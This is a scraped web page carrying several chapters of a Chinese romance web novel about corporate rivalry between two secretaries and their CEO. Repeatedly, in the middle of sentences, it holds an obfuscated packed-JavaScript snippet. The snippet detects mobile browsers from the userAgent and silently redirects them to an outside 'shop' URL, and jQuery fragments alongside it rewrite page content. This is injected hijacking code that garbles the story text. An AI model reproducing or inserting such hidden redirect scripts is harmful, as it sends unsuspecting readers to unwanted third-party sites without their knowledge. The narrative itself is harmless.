许宁一字一句强调:“他很有诚意,以我的专业眼光来看,这笔投资没有问题!” 许愿摇摇头:“欺诈者在没有达到目的之前,对猎物都很有诚意,你的专业眼光或许并不精准。” 说到这里,许愿又笑了:“而且,你也并没有什么专业眼光。” 她语言犀利:“如果我没记错,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618019|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是舞蹈专业,在我这里谈什么金融相关的专业?” 许宁被逼得脸色发白。 “你记住,这是公司的钱,不是你的钱,你要为公司负责。合同哪怕存在一丝疑虑,也必须慎重对待。”许愿嘲讽。 “当然,如果你能签下另一份保障协议,公司也不是不能给你这个机会。” “就像我当初签署的那份协议一样。如果这次投资失败真的是个骗局,那你就要背负这笔巨债,一辈子偿还这笔债务,许宁,你敢吗?” 许愿出口的话,让许宁彻底僵住。 许愿能这么快在傅氏站稳,就是因为曾挖掘出一个不被所有人看好的项目。 她自己执意要签署这份合作,并用自己的名义代表傅氏推动合作项目。 项目成,她能拿到大笔奖金和分成,但项目失败,她要赔付傅氏几十亿。 但最后,她成功了,也奠定她成为傅京礼首席秘书的基础。 她敢做这些,是因为她曾在商海中数次存活,保证了盛华在圈内的地位,清楚这次的合作只会赢不会输。 她敢保证这些,但许宁敢保证吗? 许宁脸色发白,只能唇瓣哆嗦着开口。 “你就是在逼我,我只是为了公司!”许宁半步不退。 “高利润,伴随着高风险。”许愿继续反驳。 许宁咬着下唇:“我发现你完全没有开拓精神,而不断开拓正是傅氏的企业文化。你不适合待在傅氏。” 这话一出,一直在看戏的 沈略哼笑出声。 “许愿没有开拓精神,不适合待在傅氏?这真是我目前听到最好笑的笑话了。” “许愿在你这位置时,为傅氏开拓了多少新领域项目,你清楚吗?说起最不适合在傅氏的人,难道不是许小姐你吗?” 第66章 一文不值 沈略的嘲讽,令许宁面色苍白。 她正想开口反驳,倏然,却听到一道戏谑中带着明显嘲意的声音。 “你的私人情绪和主观臆想,已经强占了你的理智,你已经完全不能够理性思考。如果这次投资失败,你要怎么向其他人交代?” 来人正是盛景炎,他靠在门边,眼眸狭长带着几分逼仄之意。 “投资不会失败,我用我的职业生涯做担保。” 许宁逐字逐句咬牙切齿地说道。 用职业生涯做担保,这话可不能乱说啊! 沈略听了都挑起眉,深深的看了她一眼。 他此刻甚至觉得,这是盛景炎故意来给许宁挖坑的。 然而许宁完全没意识到自己被盛景炎带进了坑里,转而看向傅京礼。 许宁眼神坚定,开口:“傅总,这份合同是莱蒂斯给我的,我绝对相信这份合同,虽然前期投资的确很巨大,但项目落成之后,我们傅氏每年都能净赚的数额就非常可观。请你相信我的判断!我个人完全可以担保绝对不会失败!如果投资失败,我立刻从公司离职!” 傅京礼拿起合同慢慢翻阅,并未立刻回应她。 沈略眸中都带着兴味儿。 盛景炎“呵”笑了一声,直接拉拽着椅子到许愿身边坐下。 他懒懒地靠着椅背,神色莫测的歪着身子接近许愿低声:“你说,她是不是个蠢货。” 还真没见过有人上赶着被赶出公司的。 这么多人都在劝,她却还要一意孤行,是真的把自己当成商业奇才了吗? 许愿根本笑不出来,眼神犀利的扫过那份看似对待他们傅氏优渥的合同。 她是真的在担心傅氏。 盛景炎没有得到回应,也并不生气,只是笑了,继而缓慢点头,目中全是愉悦和欣赏。 傅京礼早已察觉了二人的眉来眼去,本就冷峻的面容更添几分寒霜。 傅京礼浓眉一皱扬起手,把合同丢到桌上。 许愿垂下眼睫,目光落在他身上。 她在等傅京礼的回应。 许宁怀揣着期待,直直看向傅京礼。 她知道,合同这一放,傅京礼已经有了决断。 这么巨大的利润,傅氏若是不吃,国内国外多的是厂家想要截胡。 傅京礼不会不同意的。 然而,傅京礼的反应却超出了许宁的预料。 他用指尖点了点那条备注,语气冰冷而又压迫:“拿职业生涯做担保?许宁,是我给你的身份让,你太过高看自己了。” 许宁当场愣住。 傅京礼的问题,把许宁问得愣住。 有那么几秒钟,她脑子里全是乱的,根本没有办法思考。 “傅总,您是什么意思?”她愣愣地反问。 “你的担保,在我这里毫无价值。” 傅京礼一字一句缓缓开口。 他秉持了一贯的冷酷作风,没有肯定,没有夸奖,没有鼓励。 不像平日里待她温柔的傅京礼。 “凭你自己的学历和能力,你根本没有向傅氏投递简历的资格,你没有参与过任何项目,在我这里本就没有所谓的职业生涯,所以你不足以为这个项目做担保。” “那许愿……许愿当初就可以做担保……许愿凭什么呢?那时候的许愿也和我一样啊!” 她不甘心,心里钝痛得厉害。 傅京礼深深的看她一眼,开口:“许愿念的就是金融管理,且选修了其它与商业有关的系别,在校期间曾用几份合同挽救几家公司那些全学分,是a大的优秀毕业生,以她提议创建的一些公益相关的公司,至今仍在盈利回馈社会。” “所以你和许愿,本就不同。” “她的提议具有前瞻性,你的提议一文不值。” “且那时许愿是我的妻子,她敢说那些话,哪怕真的出了事也有我兜底,几十上百亿我可以替她赔,你呢?” 傅京礼开口:“你能拿出多少钱?几百万有吗。” 许宁整个人都呆了,盛景炎却在一旁笑得眼睛都弯起来,明显就是在嘲讽许宁。 “你根本就没有仔细看合同,莱蒂斯提出的合约不仅是跟傅氏有关,跟我们盛世也有关,你拿你自己为傅氏做担保当然可以, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618020|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前提还是傅京礼能够信得过你,至于我们盛世相关的……” “实在抱歉,你在我这里没有任何可信度。” 盛景炎面上带着笑,却说出嘲讽意味儿十足的话语。 许宁难受得厉害,余光都仿佛瞥见许愿看戏的身影。 正想开口争辩,傅京礼却看向盛景炎,吩咐道:“你亲自去一趟,如果有问题就中止谈判。” 他本不愿与盛景炎有什么接触,但是这次这份合同确实是将傅氏和盛世捆绑到一起。 而盛景炎这次来之前,就有意要去国外,这是他们已经谈好的。 盛景炎点点头,末了笑问许愿:“要不要跟我一起去?” 许愿还来不及回应点头,只是微微抬了抬眉,傅京礼便已经冷淡开口:“那边政局动荡,暴乱横行,你多带几个保镖去。” 盛景炎挑高眉梢,便也明白了傅京 礼的话中之语。 是的,那边太乱,甚至偶有暴动。 若是带着许愿过去真的出了事,他倒是也会心疼了。 盛景炎遗憾地摇摇头,叹息道:“你好好在a市待着吧,那边太危险,我自己去。” 许愿笑着颔首。 她本也没打算去。 许宁相关的事情,她是不会参与其中的。 事情就这么商定了,谁也没有考虑到许宁的心情。 许宁忍了又忍,终是爆发了出来。 “傅总,合同是我谈成的,你为什么不派我去?你为什么不给我一个机会证明自己,却偏偏那么优待许愿?她说什么你就信什么,你不能因为许愿是你的前妻,你就纵容她!你不该是这种公私不分的人!” 许宁深吸一口气,咬牙道:“你不能这么纵容她,更不能这么对我!” 后面的话,许宁没敢再继续往下说了。 因为她发现,办公室里的气氛忽然变得很恐怖。 许愿似笑非笑地勾着唇角,此刻看许宁倒真的像是在看笑话。 傅京礼缓缓靠向椅背,一双幽深的瞳眸一瞬不瞬地盯着许宁。 他漆黑的眸底布满寒霜,冷意迫人。 第67章 盛景炎,平安回来 “我公私不分?”他语气沉沉地说道:“许宁,你说得没错,我的确公私不分。” 满脸愤慨的许宁僵了僵。 “如果我真的足够公平,现在你这个位置的人是许愿,不会是你许宁,而你的实力,你根本不配踏入傅氏大门。” 这一切,傅京礼内心其实都清清楚楚。 可他还是为许宁开了后门,让许愿去了项目部。 可现在许宁竟然还能开口说他公私不分,实在可笑。 “像你说的,要让我公平些,那你现在就该离开傅氏。” 傅京礼声音冰冷:“你进入公司后,应该也清楚许愿的能力。” 许宁时时刻刻都在关注许愿的表现,不是为了关心照顾,而是为了揪住把柄。 但这么多天下来,许愿的优秀却是有目共睹的,甚至那些一直背后说她坏话的秘书,也对她赞赏有加,仿佛没有任何事能难倒许愿。 她脸色惨白了几分。 “这份合同,是不是有可能存在她说的陷阱?” 傅京礼垂眸睇视,目光冰冷。 许宁极为缓慢,也极为僵硬地点点头。 那条备注,的确有可能导致许愿所说的后果。 “那么你还有什么意见。”傅京礼面色冰冷的问她。 许宁张了张嘴,却吐不出半个字。 许愿工作上的表现完全无懈可击,如果她是老板,她可能也更倾向于相信许愿,而不是她自己。 公是公,私是私。 傅京礼一直都分得很清楚,除了在她这里……才会公私不分。 可是不该是这样的。 她本以为自己谈成了这次的合作,大家都会对她刮目相看的。 可为什么会变成这样? 许宁无法理解,更无法接受这样的改变。事情本不该是这样的! 不等她理清纷乱的思绪,傅京礼已冷酷开口:“考察结束之后,如果盛景炎觉得项目没问题,我会让你担任投资部的部长的职务,由你主管这个项目。另外,除了主公司的投资项目,其他小公司的投资都由你来掌控和决断。如果盛景炎觉得项目有问题,需要中止,那么请你马上离开傅氏。你说你要拿职业生涯做担保,我同意了。这样做,够不够公私分明?” 许宁猛然抬头,不敢置信地看着傅京礼。 心脏噗通噗通一阵狂跳,有危险将至的恐惧,也有机遇来临的狂喜。 她还这么年轻,傅京礼就真的给了她这个机会。 投资部门的部长,那可是比许愿项目组的厉害多了! 到时候,不知道要有多少人巴结她捧着她! 这是何等辉煌的成就? 这是何等风光的人生? 这笔买卖血赚不亏! 到时候,许镇江一定会为她自豪炫耀她的,而许愿将会被她彻底踩在脚下! 只要一想到自己坐到那个位置,会被人逢迎巴结,吹捧追逐,敬畏讨好,她脸上的笑意就止也止不住。 这样的想象令人体温狂飙,热血沸腾! 许宁脑袋一热,仓促说道:“傅总,我接受你的安排。” 许愿用细长圆润的指尖,轻轻抚过微扬的唇。 她早已猜到,这笔买卖成不了。 只是没想到许宁竟然真的会如此愚蠢,愚蠢到令人想要发笑的程度。 但是,傅京礼真的可以说到做到吗? 许愿的目光缓缓落在男人身上,目光带着几许凝重。 “傅总,你真的可以做出这样的决定吗。” 赶她离开傅氏的决定,他真的能狠心做这种决定吗? 傅京礼微微垂眸,两人四目相对。 男人只看着她,没有做出任何回应,却像是已经给了回应。 他不确定。 是的,傅京礼现在根本不确定,日后会不会心软给许宁开后门。 挺可笑的,前面还在说着公私分明,现在却连这件事都不能保证。 她还能奢求什么呢? 许愿唇角的笑意都带上了几许嘲意:“我不会再问了。” 话落,许愿就要离开办公室。 倏地,她听到男人的声音。 “半个月后a大会举办活动,嘉誉会上台,你跟我一起去。” 这是一早就说好了的,纵然许愿不愿与傅京礼一起,但为了傅嘉誉, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618021|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她也会去。 她淡淡的应了声,便要走。 盛景炎紧随其后,脸上带着明显笑意的跟在她身边,有点护花使者的意味儿。 沈略也不便多留,只是离开前,深深的看了许宁一眼,方才离开。 办公室的门关上了,办公室内只余傅京礼和许宁。 男人长指轻点着桌面,目光仍然落在那份合同上,只是目光深了几分。 许宁并未看到男人的眼神,此刻办公室内没了其他人,她像是委屈又像是觉得自己可怜。 “阿礼,你怎么能这样对我呢。” “这次的合约我要是真的谈拢了,能让傅氏大赚一笔的,你为什么不信我呢。” “跟莱蒂斯签下这份合约,我们傅氏以后每年都能净赚几十亿呢。” 她还在为自己 抱不平,委屈。 “既然每年都能净赚,莱蒂斯为什么自己不肯投入这份合作。” 许宁才想说莱蒂斯资金不够,傅京礼冷笑开口:“你连莱蒂斯到底有多少资产都不清楚。” 许宁顿时噤声了。 莱蒂斯的资产可不只是看上去这些。 若是真的完全没有风险的合约,莱蒂斯为什么要推出来让他得利? 那次合作,莱蒂斯要恨死傅氏了,又怎可能让给他如此大的福利? 简直过于可笑。 许宁彻底沉默了,她也怕自己再说出点什么出丑的话,只能默不作声的离开总裁办公室。 只是转身的瞬间,她便将一切都重新记到了许愿的身上。 说到底,一切全都怪许愿! 许愿并不知晓许宁这些心理,离开办公室的下一秒,盛景炎就已经状似玩笑的开口。 “傅京礼到底是怎么想的?” 到底怎么想的呢? 丢了许愿换了许宁? 沈略似是也觉得可笑,微微掀了下唇:“谁知道呢。” 两人在这里互相调侃,许愿却并未插进去话。 送盛景炎离开傅氏前,许愿看着风尘仆仆赶来的男人此刻又匆匆离开,她到底还是开口了。 “盛景炎,平安回来。” 第68章 蠢货 盛景炎明显听到她的话了,眉眼都弯起来。 那双一直都带着笑的眼睛,笑意逐渐加深。 “真不容易,能听到你为了我说这话。” “放心,我不仅会平安回来,还会给你带来当地特产。” 盛景炎留下这句话,方才驱车离开。 盛景炎为什么会插进来? 莱蒂斯的合作他其实可以直接拒绝,可他还是来了傅氏,在傅京礼提出让他去国外考察时根本没有反驳。 他和傅京礼本就算不上好友,可傅京礼凭什么能唤动盛景炎? 沈略看得很清楚。 盛景炎是为了许愿来傅氏,也为了许愿去国外考察。 纵然盛景炎有私心,但也已经足够真诚。 他觉得许愿这样聪明的人,应该也能看得出来。 “站在老大这边为他考虑,其实我并不喜欢盛景炎,但若是从你的角度来看,盛景炎还不错。” 是不错。 有足够强势的身份背景,有任人挥霍一辈子都花不完的财富。 有令人艳羡倾慕的容貌,甚至还奉献出自己的真心。 无论此刻这真心里面藏着的情意是不是真的,最起码,他的态度是全然正确的。 许愿只是轻笑一声:“他一直都很不错。” 许愿对盛景炎是欣赏的。 就像盛景炎说的,他们两人才是同类,真正彻底了解对方后才会愈发欣赏对方。 沈略是从男女情爱角度来看到许愿和盛景炎的关系,但显然许愿并没有接收这份情感。 她还执意停留在明面上的“兄弟之交”上,实在是让沈略哭笑不得。 “你不考虑那些也不错,你自己就可以活得很好。” 不考虑情爱,自己就能过得开心。 许愿这样的人不被情爱婚姻束缚住,才会愈发耀眼夺目。 不管是她真的看不透盛景炎的感情,还是装作看不透的都好,她将所有倾注到事业上,才会保证她自己不受到伤害。 这样很好。 …… 回到项目组,许愿将最近的文件锁进柜中。 正要取出来,许宁就已经控制着轮椅推门而入。 许愿的手触碰到指纹锁时又收回来,她垂下眼睫,眸光清冷泛着淡薄的冷芒。 “许宁,你是不是永远都学不会什么是教养礼貌。” “滚出去。” “这里是我的办公室,不是你可以随意进出的总裁办公室。” 许愿的声音透着明显彻骨的冷,她是真的不愿见到许宁。 许宁此刻明明坐在轮椅上一副弱者姿态,却还是不甘示弱的冲着许愿开口。 “总裁办公室我都进得来,凭什么你这里不许我进?” 许宁控制轮椅到许愿面前,咄咄逼人。 “许愿,你今天是不是故意的,你就是看莱蒂斯选了我当做中间的合作者,所以故意让盛景炎来捣乱搅黄这次的合作。” “或者是……你根本就是想将我剔除出去,然后你自己抢占功劳!” 许愿被她这样清奇的脑回路惊到,她不由得嗤笑一声。 “许宁。” “你猜莱蒂斯为什么不选我?” “因为早在两年前我们就交过手。” 许愿倚靠在桌沿,居高临下的睨着面前许宁,吐出的字眼凉薄又无情的打压着她的心理防线。 “两年前,f国圣保利酒店会场,那场谈判会,莱蒂斯完全被我压制,最后以低于最初价格二十个百分点,将国外的项目转给傅氏。” “所以你现在觉得,莱蒂斯为什么选你不选我?” 许愿俯低身体,逼近她,声音里面明显的凉意。 “他不选我,是因为我太聪明,他选择你,是因为你够愚蠢。” 她一字一顿完全的讥嘲出声。 “许愿!” 许宁被逼得气愤的想要动手。 许愿轻飘飘的为自己倒了杯热水,声音仍然发凉。 “你现在要在我这里跟我动手吗?用你打着石膏的手?如果你想的话,我随时可以奉陪。” 许宁真是两眼一黑。 她现在控制轮椅都觉得手痛,怎么可能想跟许愿真的对上,只能暗自咬牙。 “我会向你证明,莱蒂斯选择我是没有错的。” “他的确没错,因为选择了傅氏唯一的蠢货。”许愿嘲讽。 “我会证明傅氏能靠着这个合约大赚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618022|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 特赚的!你等着看吧!” 许宁大喊。 许愿抱着手臂淡淡的嗯了一声:“只希望你到那时不会求着傅京礼,别把你赶出傅氏。” 字字句句,简直都是在嘲讽许宁。 许宁被逼得眼睛都发红,愤恨的瞪视许愿几眼,方才离开。 她的身影才消失许愿目光落到手机上,她重新回到办公桌上坐下,正对上手机视频中男人的视线。 方才许宁闯进来时,傅京礼打电话来邀请她参加一场线上的国际会议。 会议还未开始,许宁就闯进来演了一出“小品”。 “都听到了?” 许愿重新取出文件翻阅了几眼,淡淡开口: “给我换一扇门,要那种指纹解锁或者只有我能操控打开的门。” “我不希望你的情人再来我这里发疯了。” 许愿从文件中抬起眼看向男人:“傅总,你能做得到的不是吗?” 男人顿了下。 “我会吩咐下去。” 许愿终于算是满意了。 …… 盛景炎在国外考察了半个月,消息一直没传回来,也不知道莱蒂斯的项目到底能不能成。 许宁每天晚上都焦虑得睡不着,她一直盯着许愿。 许愿倒是表现得越来越好,已经谈下新的项目了。 a大举办的活动,傅嘉誉会上台,之前特地邀请过傅京礼和许愿。 a大不愧是a大,来的都算是a市有头有脸的人物,江惊蛰宋野也在现场。 许愿应酬了一圈,便找了一个僻静的阳台休憩。 阳台上放满了各类花朵,她认不太全,只觉得漂亮,那香味也让她逐渐放松下来。 牛奶只喝了一小口,身后便传来沉稳熟悉的脚步声。 许愿回头一看,是傅京礼。 许愿弯了下唇:“傅总,您来了。” 傅京礼手里握着一个浅口水晶杯,杯子里半盛着一些琥珀色的液体。 微涩微甜的香草气息飘荡过来,应该是度数不低的威士忌。 许愿轻嗅着空气里的酒香,只微微挑眉。 傅京礼缓缓走到她身边,学着她的样子看向外面的夜空,却什么都没说。 第69章 忘了身份 许愿默默放下酒杯,转而看向傅京礼。 他今天穿着一套深蓝色西装,手上戴着一块数千万的名表,领带夹是铂金铸造的鸢尾花,顺着领带向上,便是一张英气逼人俊美非凡的脸。 深蓝色。 是他喜欢的颜色。 许愿低头看着自己身上的红色礼服,唇角止不住的勾起。 红色和蓝色的搭配,远了看,怕是要有不少人都以为两人是一对。 可惜,他们已经离婚了。 离婚后的她张扬美丽,是傅京礼从未看到的模样,像是截然不同的两类人。 傅京礼眸光微暗。 她此刻微微抬头,那双清冷中带着淡然眼眸无声无息凝望过来。 默然的,高傲的眼神结合在一起,却仿佛带着几许勾人之意,是那种让人看不透的撩拨。 她是没有这个意思,但她的眼神总会给人这种错觉反差。 他高大的身躯伫立在这并不算狭窄的阳台之中,强烈的存在感燃烧着周围的空气。 而她身边的女人高挑纤细,却美得惊心动魄。 今天是a大举办的活动,到场的也有圈内人,不受控制的将目光放到两人身上。 就算是a大的学生,也因为两人的高颜值和身上散发的强烈气场,而不断地望向两人。 “傅总,可以换个地方吗?” 许愿眼尾微挑,像是带着几分肆意的笑:“因为傅总的到来,那些人的视线打扰到我了。” 傅京礼到来之前,也有人目光落在她身上,却不像现在这般炽热。 许是看到她身旁的男人,所以有了别的心思。 许愿长指轻点着手中的杯壁,轻声道:“我记得去年傅总来参加嘉誉学院的活动时,有女学生特意冲上来要联系方式,只是不知道傅总给了没有。” 许愿想了下:“似乎是位金融系的学生。” 跟傅京礼结婚这三年,她没少被旁的人暗中威胁。 纵然那些人不知道她是傅京礼的妻子,只因她是傅京礼的秘书,就曾经对她大放厥词。 甚至有人约她见面,亲口对她说要出大价钱收买她帮忙追求傅京礼,何其可笑。 不过也可以理解。 面前的男人是有那些资本的。 傅京礼垂眸,漆黑的瞳眸落在许愿脸上,他将酒杯放在一旁的矮桌上。 “你想说什么。”他问。 “想让我离开?” “还是想看一出女学生追求金融大鳄的好戏。” 傅京礼敛眉:“你是不是忘了,自己此刻的身份。” 他开口提醒。 与傅京礼无声对视的许愿,忽然歪了歪脑袋,绽放一抹清浅如水的笑容。 傅京礼眸光微闪,沉声问道:“怎么了?” 他端起酒杯,仰头灌下一口琥珀色的浓浆。 辛辣的酒水烫过喉咙,涌入胸膛,令他心头发紧。 但是从许愿的角度看去,这个危险而又俊美的男人,正冷肃着一张脸,散发出生人勿近的凛冽气场。 许愿摇摇头,目光移向漆黑夜空。 她没有回答男人的话,只是转移话题低声道:“没什么。” 傅京礼握紧酒杯,抿直薄唇,气场更为冷冽。 角落的位置有一个秋千架,许愿放下手中的牛奶杯,坐在秋千上,动作缓慢的摇晃着,带着几分自在惬意。 男人眸光微暗,却并未离开这个繁花锦簇的阳台,而是默默站在许愿身边。 顺着许愿的目光,他看向空无一物深不见底的夜空。 今夜没有雨,却也没有星和月,乏味甚至无聊。 “这里没什么好看的。”男人开口。 许愿摇摇头,轻声道:“怎么会呢?看那里。” 许愿伸出手,指向矗立在夜幕下的一栋栋摩天大楼。 它们灯火璀璨,光耀万丈,它们闪闪烁烁,变幻霓虹。 “幽静的乡野有独属他们的僻静美好,城市自然也有属于他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618023|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的美,就像那些光芒万丈散发着星点光亮的灯光,就是一种另类的美。”许愿用低缓柔和的嗓音开口。 傅京礼顺着她指引的方向扫了眼,低头嗤笑:“把光污染说得如此诗意,许愿,你不该学理科,你应该学文科,去满足你自己内心的风花雪月。” 许愿脸上清浅的笑意一直没有隐去。 她看着面前的男人。 他身上几乎有了男性所有应该有的完美光环,可偏偏他少了最基本的同理心,甚至感受不到身边任何的美。 如果你告诉他,没有星星的夜晚有一种放空寂寥的美,他会告诉你没有星星的夜晚空洞无趣。 如果你告诉他残花会随风消逝,花瓣会被吹向远方,将最后一缕淡淡的香味赠予有缘人,那是一种感性的浪漫邂逅,他会告诉你那只是一朵枯萎的花朵。 就像……她无数次用自己的肢体语言默默的反馈着自己深沉的爱意,可他永远无法接收到她的爱。 他甚至觉得,多此一举。 又或者认为习惯使然,本该如此。 许愿低头轻笑一声,不再纠结。 “或许,这就是男性和女性的差 别吧。” 她宁愿用男性是理性的,女性是感性的来敷衍傅京礼,也不愿再因为这件事纠结下去。 这就是傅京礼和盛景炎的不同。 盛景炎会带她看日出看烟花,去清晨太阳初升的地方嗅风霜雨雪的味道,可傅京礼却只会告诉她这很无趣。 男人看着她,许久后才淡淡开口:“我不认为你会喜欢那些无病呻吟矫情做作的文章诗句。” 她愣了下。 片刻后,她的唇角终于缓缓绽放出难以察觉的自嘲般的笑意。 “或许你说得对。” 还有什么可说的? 她知晓他没有同理心,又何必说更多? 这样,只会给自己添堵罢了。 许愿托着腮帮子斜倚在栏杆上,清澈眼眸定定地看向傅京礼。 第70章 他的许秘书 她眸光清浅,面容明艳动人,一身红裙在灯光笼罩下有种令人觉得惊心动魄的美。 她的长指划过秋千的绳结,稍稍用力握紧,不再看身旁的男人。 宴会厅里传来大提琴的低鸣,像夜色中缓缓流淌的一条河流。 是a大的音乐系的学生上台表演了。 “应该快到嘉誉了。” 许愿低头看了眼时间,她早前答应好傅嘉誉,要陪她一起上台弹奏钢琴的。 男人淡淡的嗯了一声,并未将傅嘉誉要上台的事情放在心上,或许是认为傅嘉誉自己可以搞定,并不算什么大事。 “我先去后台和嘉誉会面。” 许愿偏头看了男人一眼,正欲离开,却被突然冲过来的女学生推了一把。 许愿脚步顿住,转过身便看到女学生纤细的背影,她穿了一件露背的晚礼服,这个角度看不到对方的正脸,只能看到她纤瘦窈窕的背影。 看得出是个青春靓丽的女性。 能在这种场合如此自信的迈着步子来到傅京礼面前,也只能是个美人。 虽然对于这位同学将她撞开这件事有些生气,不过……难得又一次见到傅京礼被女学生堵住去路。 见此情景,许愿突然不想立刻离开了,她想看看傅京礼想如何解决。 她倚靠在一旁的墙角,抱着双臂看着面前的一幕,清冷的瞳眸中都带着隐隐的浅淡笑意,明白了一副看好戏的姿态。 匆忙赶过来的女学生是金融系的系花周芸,确实是美名远扬的美人,校内校外追求者众多。 周芸怀中抱着一沓资料,眼尾弯弯的看着傅京礼。 还未开口,男人漆黑的瞳眸淡淡的扫到她脸上,声音带着明显的冷意。 “道歉。” 周芸愣住了。 正在看戏的许愿也愣住了。 “傅学长,我……” 周芸呆愣愣的想转话题。 傅京礼眼神冰冷:“你是想要在场的人,都知道你撞了我的许秘书吗?” 撞了……他的许秘书? 许愿忍不住握住自己的手。 内心那股酸涩感不停地喷涌而出,仿佛是这三年的委屈都在此刻爆发出来。 三年来,傅京礼从未对旁人提到过她是他的,哪怕只是这样简单的一句。 这样迟来的承认,让她内心都忍不住自嘲的发笑。 她未免也太好哄骗了。 周芸抱着怀中的资料身体都在轻微的发抖,她是对自己的容貌有绝对的信心,所以才会鼓起勇气,在这种场合跑过来见傅京礼。 可是她万万没想到,自己还未开口就踢到了铁板。 他的许秘书,那不就是许愿吗? 她克制不住的转过身,将目光放到许愿身上。 目光触及许愿清冷却又明艳的容颜时,一种难以言喻的自卑感在她内心蔓延开来。 许愿是真的很美。 是那种明明穿着一身红裙,明明带着魅惑之意,可她偏偏还沾带着高山之巅的冰雪气息,即便隔着距离,都仿佛觉得她身上就是该带着那种淡淡的清冷的气息。 明明五官精致美艳,却又给人这种清冷的感觉,甚至能感受到她身上散发而来的压迫感。 她分明是面无表情,却像是裹挟着明显的冰雪之意。 像是…… 像是长久居于高层带来的压迫感。 几乎快要与傅京礼给她的感觉相同了。 这就是……傅京礼的许秘书吗? 周芸喉间发堵。 有那么一瞬间,她万分后悔自己头脑一热就带着小聪明闯过来。 “许秘书……” 她嗓音干涩。 道歉的话还未出口,许愿就已经长指轻点着身边的木质围栏,围栏上摆着一束娇艳欲滴的鸢尾花,衬得她那张脸愈发美艳。 她喉间带着淡淡的笑意。 “不是许秘书了。” 她像是刻意在此时开口。 “是许经理了。” 许秘书另有其人,而她…… 也已经不是傅京礼的许秘书了。 她这句话,就像是完全跟傅京礼拉开距离。 周芸此刻都有些发愣,仿佛被许愿此刻的回话惊到了,呆愣愣的看着她。 许愿面上却仍然含笑,只眼尾微挑,带着波澜不惊的浅淡笑意。 “许经理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618024|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我不是故意撞到你的,我就是见到傅总有点太激动了。” 周芸眼睛亮晶晶的,提到傅京礼时语气中都是膜拜。 “我最近学到的几次金融案例都与傅总有关,还有一年前在国外与合作商谈判最终拿下合作的案例,被我们老师称为洪门谈判。” 洪门谈判,不就是设计好了局等着对方入局的鸿门宴了,无非是换了个说法。 许愿看着面前青春靓丽的少女,一时有些恍惚。 她想起了自己在念书时,就是如此爱慕傅京礼的。 她教材上有傅京礼的资料,讲师教授都会引用他最新的案例深入剖析,那时她一直都想能见一见傅京礼。 没想到后面,她会与傅京礼有如此多的渊源。 不过可惜,到底是有 缘无分,只带给自己数不尽的伤痛。 “对,他很优秀。” 许愿笑了笑。 换作是大学时期还未进入傅氏的她,也是如此钦佩傅京礼的。 男人只是微微抬眸,深沉的目光落到周芸脸上,声音淡淡:“你爱慕我?” “你所谓的洪门谈判,最重要的角色并非是我。” 